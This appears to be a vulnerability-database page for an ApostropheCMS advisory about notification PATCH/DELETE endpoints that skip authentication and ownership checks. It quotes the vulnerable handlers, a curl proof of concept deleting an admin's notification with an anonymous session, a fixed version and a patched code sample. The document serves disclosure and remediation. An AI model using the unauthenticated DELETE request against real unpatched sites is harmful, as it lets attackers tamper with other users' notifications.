Skip to content

GHSA-vwwx-px9w-crrc CVE-2026-113665

ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

Low npm
Severity
3.7 / 10
Low · CVSS 3.1
Exploit chance (EPSS)
0.35%
Chance of exploitation in the next 30 days. Higher than 28.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
CWE-862 Missing Authorization
Fix
4.33.0
Upgrade apostrophe to this version or later

Description

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.


Affected Code

File

packages/apostrophe/modules/@apostrophecms/notification/index.js
// restApiRoutes
async patch(req, _id) {
  const dismissed = self.apos.launder.boolean(req.body.dismissed);

  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });

    await self.db.updateOne(
      { _id },
      {
        $set: { dismissed },
        $currentDate: { updatedAt: true }
      }
    );
  }
},

async delete(req, _id) {
  await self.db.deleteMany({ _id });
}

Unlike the GET notification route, these handlers do not verify:

  • Authentication (req.user)
  • Ownership (userId === req.user._id)
  • Authorization or permissions

Instead, the supplied _id is used directly against the raw MongoDB collection.


Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

No equivalent validation exists in the PATCH or DELETE handlers.


Proof of Concept

1. Log in as an administrator

curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "username":"admin",
  "password":"AdminP@ssw0rd123!",
  "session":true
}'

2. Create a notification

curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Example response:

{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

3. Verify the notification exists

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[
    {
      "_id":"p358r7phi2w8l245ww5130uf",
      "userId":"i89h844o5n3nbreis0ugusum",
      "message":"manual verify test"
    }
  ],
  "dismissed":[]
}

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Then send the request without any authenticated session:

curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Response:

HTTP/1.1 200 OK

5. Verify the notification has been deleted

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[],
  "dismissed":[]
}

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.


Impact

An attacker who obtains a valid notification ID can:

  • Delete another user's notifications.
  • Mark another user's notifications as dismissed.
  • Suppress security-related or administrative notifications.

The vulnerability primarily affects integrity.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.


Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

// patch
async patch(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const dismissed = self.apos.launder.boolean(req.body.dismissed);
  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });
    const result = await self.db.updateOne(
      { _id, userId: req.user._id },   // <-- ownership check
      { $set: { dismissed }, $currentDate: { updatedAt: true } }
    );
    if (!result.matchedCount) {
      throw self.apos.error('notfound');
    }
  }
},
// delete
async delete(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const result = await self.db.deleteMany({ _id, userId: req.user._id });
  if (!result.deletedCount) {
    throw self.apos.error('notfound');
  }
}

Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.


Recommendation

Every notification modification endpoint should:

  • Require authentication.
  • Verify ownership (userId === req.user._id).
  • Return 403 Forbidden for unauthorized requests.
  • Avoid performing database operations solely using a user-controlled _id.

The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.

Affected versions

npm

PackageVulnerableFixed in
apostrophe
< 4.33.0
4.33.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

apostrophe npm → 4.33.0

npm
npm install apostrophe@4.33.0
yarn
yarn add apostrophe@4.33.0
pnpm
pnpm add apostrophe@4.33.0

Severity breakdown

CVSS 3.1 3.7

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-86wm-68pq-5jwq
ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export
High Also affects apostrophe
GHSA-653j-g8j7-gh54
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Medium Also affects apostrophe
GHSA-vmxh-77cw-65j7
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
Medium Also affects apostrophe
GHSA-m2m5-rw3w-cwmj
ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users
Medium Also affects apostrophe
GHSA-gqh3-7856-rjjg
ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure)
Medium Also affects apostrophe
GHSA-hhvr-8m24-qqr3
ApostropheCMS: Cross-domain session token in URL confers session takeover
Medium Also affects apostrophe
GHSA-j5rq-xfvr-p969
ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service
High Also affects apostrophe
GHSA-qhcq-9pm2-c9w9
ApostropheCMS: Unauthenticated CSV import requests leave rejected uploads in the system temporary directory
High Also affects apostrophe
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor